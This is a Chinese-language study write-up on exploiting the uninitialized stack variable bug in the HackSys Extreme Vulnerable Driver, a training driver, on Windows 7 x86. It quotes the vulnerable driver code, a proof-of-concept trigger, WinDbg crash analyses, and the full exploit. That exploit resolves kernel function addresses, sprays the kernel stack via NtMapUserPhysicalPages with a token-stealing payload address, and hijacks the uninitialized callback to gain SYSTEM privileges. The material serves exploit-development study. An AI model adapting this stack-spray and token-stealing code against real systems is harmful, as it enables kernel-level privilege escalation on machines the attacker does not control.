Windows-Kernel-Exploit-Study(3)

0x00:

这是HEVD系列中关于栈上变量未初始化的一种利用，在kernel的exploit中，这种情况很少发生，作为一个demo可以体会一下对于这种漏洞的Kernel stack spray的利用方式。在UAF的漏洞中，我们常常使用heap spray的方式去利用，然而Kernel stack spray差不多，不过是提前把数据”喷射”到内核栈，占据未初始化的变量的位置，如果是一个函数指针，那么我们就可以劫持这个函数，调用，去执行shellcode，从而完成提权。

关于环境及工具：

• windows7 cn x86
• windbg
• osrloader

0x01:先来看vuln代码

VOID UninitializedStackVariableObjectCallback() {
    PAGED_CODE();

    DbgPrint("[+] Uninitialized Stack Variable Object Callback\n");
}

/// <summary>
/// Trigger the Uninitialized Stack Variable Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <returns>NTSTATUS</returns>
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

        // Validate the magic value
        // 如果我们传递的UserValue和这个MagicVule相同才会走这里。
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        //如果前面UserValue和MageValue不一样的时候，callback没被赋值的，直接调用就会出问题。
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

我们传递一个非MagicValue的值，UninitializedStackVariable.Callback就是一个未定的值，后面直接调用，就可能会直接崩溃。

0x02:调试

设置好win7 kernel调试相关的设置，挂载上驱动。
PoC代码如下

HANDLE GetDeviceHandle(LPCSTR DeviceName){

    HANDLE hDriver = CreateFileA(DeviceName,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
            NULL);
    return hDriver;
}

int _tmain(int argc, _TCHAR* argv[]) {
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    ULONG MagicValue = 0xBAADF00D;
    LPCSTR lpDeviceName = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";

    __try {

        hFile = GetDeviceHandle(lpDeviceName);

        if (hFile == INVALID_HANDLE_VALUE) {
            printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            printf("\t\t[+] Device Handle: 0x%X\n", hFile);
        }
        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,StackSprayBufferSize);
        if(!StackSprayBuffer){
            printf("Alloc buffer error : 0x%X",GetLastError());
        }

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        HeapFree(GetProcessHeap(),0,(LPVOID)StackSprayBuffer);
        //set ptr NULL
        StackSprayBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return 0;
}

Windbg设置后

!gflag +soe

为了调试到触发vuln的部分的代码，采用的方式是结合IDA，查看函数的offset，结合HEVD模块的加载基地址，去下断点，断在有漏洞的函数那里。

之后捕获到crash

kd> !gflag +soe
New NtGlobalFlag contents: 0x00000001
    soe - Stop On Exception
kd> g
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000000 ??              ???
kd> dps esp
9adb9ab0  75abe00b
9adb9ab4  8eff4f94*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys
 HEVD+0x4f94
9adb9ab8  1424bcc8
9adb9abc  87c86980
9adb9ac0  87c869f0
9adb9ac4  8eff5ca4 HEVD+0x5ca4
9adb9ac8  83ec88c8 nt!MiExchangeWsle+0x7c
9adb9acc  75abe005
9adb9ad0  0000014f
9adb9ad4  00000000 ----> CallBack函数
9adb9ad8  c080327c
9adb9adc  00433009
9adb9ae0  00000001
9adb9ae4  0000015d
9adb9ae8  9adb9b14
9adb9aec  83ec8a26 nt!MiSwapWslEntries+0x14c
9adb9af0  00433009
9adb9af4  0000014f
9adb9af8  75abe001
9adb9afc  0000014f
9adb9b00  c0802000
9adb9b04  85da5928
9adb9b08  00000001
9adb9b0c  00000059
9adb9b10  00000000
9adb9b14  9adb9b40
9adb9b18  83ec6397 nt!MiUpdateWsle+0x12d
9adb9b1c  0000014f
9adb9b20  0000015d
9adb9b24  85d6d6c0
9adb9b28  0000015d
9adb9b2c  85d6d6c0

可以看到调用了 0x00000000，然而这个地址是个非法地址，所以crash。挺奇怪的是这个时候g命令还可以继续走…所以我又跑了一次PoC。
我第二次运行PoC获得的信息如下：

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffffdd, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 59477005, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  6.1.7600.16385 (win7_rtm.090713-1255)

DUMP_TYPE:  0

BUGCHECK_P1: ffffffffffffffdd

BUGCHECK_P2: 1

BUGCHECK_P3: 59477005

BUGCHECK_P4: 0

WRITE_ADDRESS:  ffffffdd 

FAULTING_IP: 
MSVCR110D!_ioinitCallback+1e5
59477005 0068dd          add     byte ptr [eax-23h],ch

MM_INTERNAL_CODE:  0

CPU_COUNT: 1

CPU_MHZ: af1

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3c

CPU_STEPPING: 3

CPU_MICROCODE: 6,3c,3,0 (F,M,S,R)  SIG: 1E'00000000 (cache) 1E'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x50

PROCESS_NAME:  test.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  MUHE-PC

ANALYSIS_SESSION_TIME:  02-04-2017 19:46:44.0573

ANALYSIS_VERSION: 10.0.14321.1024 x86fre

TRAP_FRAME:  8d47ea40 -- (.trap 0xffffffff8d47ea40)
ErrCode = 00000002
eax=00000000 ebx=94f53ca4 ecx=0024f9f0 edx=00000065 esi=baadf00d edi=00000000
eip=59477005 esp=8d47eab4 ebp=8d47ebd4 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
MSVCR110D!_ioinitCallback+0x1e5:
59477005 0068dd          add     byte ptr [eax-23h],ch      ds:0023:ffffffdd=??
Resetting default scope

MISALIGNED_IP: 
MSVCR110D!_ioinitCallback+1e5
59477005 0068dd          add     byte ptr [eax-23h],ch

LAST_CONTROL_TRANSFER:  from 83ee5e71 to 83e74394

STACK_TEXT:  
8d47e58c 83ee5e71 00000003 dbca9caa 00000065 nt!RtlpBreakWithStatusInstruction
8d47e5dc 83ee696d 00000003 86557030 00000000 nt!KiBugCheckDebugBreak+0x1c
8d47e9a0 83e8e8e3 00000050 ffffffdd 00000001 nt!KeBugCheck2+0x68b
8d47ea28 83e4f5f8 00000001 ffffffdd 00000000 nt!MmAccessFault+0x106
8d47ea28 59477005 00000001 ffffffdd 00000000 nt!KiTrap0E+0xdc
8d47ebd4 94f52fe8 0024f9f0 8d47ebfc 94f53219 MSVCR110D!_ioinitCallback+0x1e5
WARNING: Stack unwind information not available. Following frames may be wrong.
8d47ebe0 94f53219 878eb928 878eb998 85d8bf80 HEVD+0x4fe8
8d47ebfc 83e454bc 878bbbb0 878eb928 878eb928 HEVD+0x5219
8d47ec14 84046eee 85d8bf80 878eb928 878eb998 nt!IofCallDriver+0x63
8d47ec34 84063cd1 878bbbb0 85d8bf80 00000000 nt!IopSynchronousServiceTail+0x1f8
8d47ecd0 840664ac 878bbbb0 878eb928 00000000 nt!IopXxxControlFile+0x6aa
8d47ed04 83e4c42a 0000001c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8d47ed04 76e464f4 0000001c 00000000 00000000 nt!KiFastCallEntry+0x12a
0024f828 76e44cac 74fda08f 0000001c 00000000 ntdll!KiFastSystemCallRet
0024f82c 74fda08f 0000001c 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0024f88c 76c0ec25 0000001c 0022202f 0024f9f0 KERNELBASE!DeviceIoControl+0xf6
0024f8b8 013e1612 0000001c 0022202f 0024f9f0 kernel32!DeviceIoControlImplementation+0x80
0024fa34 013e1cc9 00000001 00350598 00351ba8 test+0x11612
0024fa84 013e1ebd 0024fa98 76c11174 7ffd4000 test+0x11cc9
0024fa8c 76c11174 7ffd4000 0024fad8 76e5b3f5 test+0x11ebd
0024fa98 76e5b3f5 7ffd4000 76c02850 00000000 kernel32!BaseThreadInitThunk+0xe
0024fad8 76e5b3c8 013e1082 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
0024faf0 00000000 013e1082 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

THREAD_SHA1_HASH_MOD_FUNC:  b2a297aada69e6279fdc3daae6f4a22cf686509a

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  4f005ee17e97a074c7da84fec24b29c43a55219c

THREAD_SHA1_HASH_MOD:  c3a8502bd33e9f58cfa688b5c9397c7eefe7acfa

FOLLOWUP_IP: 
HEVD+4fe8
94f52fe8 5d              pop     ebp

FAULT_INSTR_CODE:  8c25d

SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  HEVD+4fe8

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  hardware

DEBUG_FLR_IMAGE_TIMESTAMP:  0

MODULE_NAME: hardware

FAILURE_BUCKET_ID:  IP_MISALIGNED

BUCKET_ID:  IP_MISALIGNED

PRIMARY_PROBLEM_CLASS:  IP_MISALIGNED

TARGET_TIME:  2017-02-04T11:45:48.000Z

OSBUILD:  7600

OSSERVICEPACK:  16385

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  272

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x86

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt TerminalServer SingleUserTS

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2009-07-14 07:15:19

BUILDDATESTAMP_STR:  090713-1255

BUILDLAB_STR:  win7_rtm

BUILDOSVER_STR:  6.1.7600.16385

ANALYSIS_SESSION_ELAPSED_TIME: 2f92

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:ip_misaligned

FAILURE_ID_HASH:  {201b0e5d-db2a-63d2-77be-8ce8ff234750}

Followup:     MachineOwner
---------

这里g之后就是直接蓝屏了。

0x03:利用思路

大致的利用思路如下：

• 布置内核栈
• 触发漏洞
• 提权

关于内核栈的布置，使用的是出自j00ru文章的方法，这里直接使用了HEVD的exploit，我只做一点分析。

0x04:Exploit分析

HEVD 里的 Exploit代码如下

#include "UninitializedStackVariable.h"

VOID ResolveKernelAPIs() {
    PCHAR KernelImage;
    SIZE_T ReturnLength;
    HMODULE hNtDll = NULL;
    PVOID HalDispatchTable = NULL;
    HMODULE hKernelInUserMode = NULL;
    PVOID KernelBaseAddressInKernelMode;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

    DEBUG_INFO("\t\t[+] Resolving Kernel APIs\n");

    hNtDll = LoadLibrary("ntdll.dll");

    if (!hNtDll) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

    if (!NtQuerySystemInformation) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] NtQuerySystemInformation: 0x%p\n", NtQuerySystemInformation);
    }

    NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(hNtDll, "NtMapUserPhysicalPages");

    if (!NtMapUserPhysicalPages) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving NtMapUserPhysicalPages: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        DEBUG_INFO("\t\t\t[+] NtMapUserPhysicalPages: 0x%p\n", NtMapUserPhysicalPages);
    }

    NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);

    // Allocate the Heap chunk
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
                                                                     HEAP_ZERO_MEMORY,
                                                                     ReturnLength);

    if (!pSystemModuleInformation) {
        DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    NtStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        pSystemModuleInformation,
                                        ReturnLength,
                                        &ReturnLength);

    if (NtStatus != STATUS_SUCCESS) {
        DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
    KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

    hKernelInUserMode = LoadLibraryA(KernelImage);

    if (!hKernelInUserMode) {
        DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    ZwOpenProcess = (ZwOpenProcess_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcess");

    if (!ZwOpenProcess) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcess: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess - (ULONG)hKernelInUserMode);
        ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] ZwOpenProcess: 0x%p\n", ZwOpenProcess);
    }

    ZwOpenProcessToken = (ZwOpenProcessToken_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcessToken");

    if (!ZwOpenProcessToken) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcessToken: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken - (ULONG)hKernelInUserMode);
        ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] ZwOpenProcessToken: 0x%p\n", ZwOpenProcess);
    }

    ZwDuplicateToken = (ZwDuplicateToken_t)GetProcAddress(hKernelInUserMode, "ZwDuplicateToken");

    if (!ZwDuplicateToken) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwDuplicateToken: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken - (ULONG)hKernelInUserMode);
        ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] ZwDuplicateToken: 0x%p\n", ZwDuplicateToken);
    }

    PsGetCurrentProcess = (PsGetCurrentProcess_t)GetProcAddress(hKernelInUserMode, "PsGetCurrentProcess");

    if (!PsGetCurrentProcess) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving PsGetCurrentProcess: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess - (ULONG)hKernelInUserMode);
        PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] PsGetCurrentProcess: 0x%p\n", PsGetCurrentProcess);
    }

    ZwSetInformationProcess = (ZwSetInformationProcess_t)GetProcAddress(hKernelInUserMode, "ZwSetInformationProcess");

    if (!ZwSetInformationProcess) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwSetInformationProcess: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess - (ULONG)hKernelInUserMode);
        ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] ZwSetInformationProcess: 0x%p\n", ZwSetInformationProcess);
    }

    ZwClose = (ZwClose_t)GetProcAddress(hKernelInUserMode, "ZwClose");

    if (!ZwClose) {
        DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwClose: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
    else {
        ZwClose = (ZwClose_t)((ULONG)ZwClose - (ULONG)hKernelInUserMode);
        ZwClose = (ZwClose_t)((ULONG)ZwClose + (ULONG)KernelBaseAddressInKernelMode);
        DEBUG_INFO("\t\t\t[+] ZwClose: 0x%p\n", ZwClose);
    }

    HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

    if (hNtDll) {
        FreeLibrary(hNtDll);
    }

    if (hKernelInUserMode) {
        FreeLibrary(hKernelInUserMode);
    }

    hNtDll = NULL;
    hKernelInUserMode = NULL;
    pSystemModuleInformation = NULL;
}

DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
    UINT32 i = 0;
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    ULONG MagicValue = 0xBAADF00D;
    PULONG StackSprayBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
    PVOID EopPayload = &TokenStealingPayloadDuplicateToken;
    SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);

    __try {
        DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

        if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
            DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
        }
        else {
            DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
        }

        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

        StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                             HEAP_ZERO_MEMORY,
                                             StackSprayBufferSize);

        if (!StackSprayBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize);
        }

        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

        //填充buffer
        for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) {
            StackSprayBuffer[i] = (ULONG)EopPayload;
        }

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
        //找到NtMapUserPhysicalPages API的地址，后面要调用
        ResolveKernelAPIs();

        DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n");
        DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n");

        OutputDebugString("****************Kernel Mode****************\n");

        // HackSys Extreme Vulnerable driver itself provides a decent interface
        // to spray the stack using Stack Overflow vulnerability. However, j00ru
        // on his blog disclosed a Windows API that can be used to spray stack up to
        // 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since,
        // it's a Windows API and available on Windows by default, I decided to use
        // it instead of this driver's Stack Overflow interface.
        //喷射kernel stack
        NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

        // Kernel Stack should not be used for anything else as it
        // will corrupt the current sprayed state. So, we will directly
        // trigger the vulnerability without putting any Debug prints.
        //触发漏洞
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
                        (LPVOID)&MagicValue,
                        0,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);

        StackSprayBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

0x05: 参考

HEVD Kernel Exploitation – Uninitialized Stack & Heap By k0shl
nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques